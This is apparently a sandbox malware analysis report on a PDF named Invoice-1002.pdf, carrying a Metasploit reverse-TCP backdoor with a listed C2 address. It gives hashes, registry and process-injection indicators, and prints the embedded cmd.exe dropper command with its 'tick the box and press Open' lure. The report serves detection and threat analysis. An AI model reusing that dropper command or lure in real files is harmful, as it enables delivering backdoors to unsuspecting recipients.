metasploit | a80576f241544e6fbd0a229b4d969f9934a77e8dc26f53b1243e7f639f28bcc6

General

Target

Invoice-1002.pdf
Size

87KB
MD5

57e89c28665801cb8448937e05dd89d5
SHA1

5a75811a2db79ad2108188a7d1c3377493383f9e
SHA256

a80576f241544e6fbd0a229b4d969f9934a77e8dc26f53b1243e7f639f28bcc6
SHA512

58720ad2a5b85389f38082a67c1e4aee8b9e248543e3091bad8515ed049b04e3fa684def2c04d3d914e8fdf4fa81e9971d942f8bac53bca14419aa0ffec8cd17

Score

10^/10

metasploit backdoor trojan

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

172.19.255.48:443

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Executes dropped EXE 1 IoCs

Processes:

1002-Contoso.pdf

pid process

1176 1002-Contoso.pdf
Loads dropped DLL 2 IoCs

Processes:

cmd.exe

pid process

904 cmd.exe
904 cmd.exe

pid	process
1176	1002-Contoso.pdf

pid	process
904	cmd.exe
904	cmd.exe

Modifies registry class 31 IoCs

Processes:

AcroRd32.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\FFlags = "1092616257"	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	AcroRd32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\TV_TopViewID = "{82BA0782-5B7A-4569-B5D7-EC83085F08CC}"	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\FFlags = "1"	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\LogicalViewMode = "1"	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_Classes\Local Settings	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\Sort = 000000000000000000000000000000000200000030f125b7ef471a10a5f102608c9eebac0a0000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 9e0000001a00eebbfe23000010007db10d7bd29c934a973346cc89022e7c00002a0000000000efbe000000200000000000000000000000000000000000000000000000000100000020002a0000000000efbe7e47b3fbe4c93b4ba2bad3f5d3cd46f98207ba827a5b6945b5d7ec83085f08cc20002a0000000000efbe000000200000000000000000000000000000000000000000000000000100000020000000	AcroRd32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\TV_FolderType = "{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}"	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\TV_TopViewVersion = "0"	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f4225481e03947bc34db131e946b44c8dd50000	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\IconSize = "16"	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\Mode = "4"	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	AcroRd32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

AcroRd32.exe

pid process

1640 AcroRd32.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

AcroRd32.exe

pid process

1640 AcroRd32.exe
1640 AcroRd32.exe
1640 AcroRd32.exe
1640 AcroRd32.exe

pid	process
1640	AcroRd32.exe

pid	process
1640	AcroRd32.exe
1640	AcroRd32.exe
1640	AcroRd32.exe
1640	AcroRd32.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

AcroRd32.execmd.exe

description	pid	process	target process
PID 1640 wrote to memory of 904	1640	AcroRd32.exe	cmd.exe
PID 1640 wrote to memory of 904	1640	AcroRd32.exe	cmd.exe
PID 1640 wrote to memory of 904	1640	AcroRd32.exe	cmd.exe
PID 1640 wrote to memory of 904	1640	AcroRd32.exe	cmd.exe
PID 904 wrote to memory of 1176	904	cmd.exe	1002-Contoso.pdf
PID 904 wrote to memory of 1176	904	cmd.exe	1002-Contoso.pdf
PID 904 wrote to memory of 1176	904	cmd.exe	1002-Contoso.pdf
PID 904 wrote to memory of 1176	904	cmd.exe	1002-Contoso.pdf

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice-1002.pdf"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\1002-Contoso.pdf" (cd "Desktop"))&(if exist "My Documents\1002-Contoso.pdf" (cd "My Documents"))&(if exist "Documents\1002-Contoso.pdf" (cd "Documents"))&(if exist "Escritorio\1002-Contoso.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\1002-Contoso.pdf" (cd "Mis Documentos"))&(start 1002-Contoso.pdf) To view the encrypted content please tick the "Do not show this message again" box and press Open.
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:904

\??\c:\Users\Admin\Documents\1002-Contoso.pdf
1002-Contoso.pdf
3⤵
- Executes dropped EXE
PID:1176

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Documents\1002-Contoso.pdf
MD5
b6c91d5c68529f39be286ced0e473a63

SHA1
cfe3312ace153f13faa6da5defd0bd57c7f85aee

SHA256
f436586c9c49e46a759d7fa07853b1d5c54ff6c42133db68bd03c97eef4ea997

SHA512
0d78ed3ceade93596d10419316059faa6f53ecb805f2885055545157009062e2f99b8058b5c77d3e9e9e8b944abdbd3705e37887b4ed52b0168d460af6c669f9

Download Submit
\??\c:\Users\Admin\Documents\1002-Contoso.pdf
MD5
b6c91d5c68529f39be286ced0e473a63

SHA1
cfe3312ace153f13faa6da5defd0bd57c7f85aee

SHA256
f436586c9c49e46a759d7fa07853b1d5c54ff6c42133db68bd03c97eef4ea997

SHA512
0d78ed3ceade93596d10419316059faa6f53ecb805f2885055545157009062e2f99b8058b5c77d3e9e9e8b944abdbd3705e37887b4ed52b0168d460af6c669f9

Download Submit
\Users\Admin\Documents\1002-Contoso.pdf
MD5
b6c91d5c68529f39be286ced0e473a63

SHA1
cfe3312ace153f13faa6da5defd0bd57c7f85aee

SHA256
f436586c9c49e46a759d7fa07853b1d5c54ff6c42133db68bd03c97eef4ea997

SHA512
0d78ed3ceade93596d10419316059faa6f53ecb805f2885055545157009062e2f99b8058b5c77d3e9e9e8b944abdbd3705e37887b4ed52b0168d460af6c669f9

Download Submit
\Users\Admin\Documents\1002-Contoso.pdf
MD5
b6c91d5c68529f39be286ced0e473a63

SHA1
cfe3312ace153f13faa6da5defd0bd57c7f85aee

SHA256
f436586c9c49e46a759d7fa07853b1d5c54ff6c42133db68bd03c97eef4ea997

SHA512
0d78ed3ceade93596d10419316059faa6f53ecb805f2885055545157009062e2f99b8058b5c77d3e9e9e8b944abdbd3705e37887b4ed52b0168d460af6c669f9

Download Submit
memory/904-60-0x0000000000000000-mapping.dmp

Download
memory/1176-64-0x0000000000000000-mapping.dmp

Download
memory/1176-66-0x0000000000020000-0x0000000000021000-memory.dmp

Filesize
4KB

Download
memory/1640-59-0x0000000075631000-0x0000000075633000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing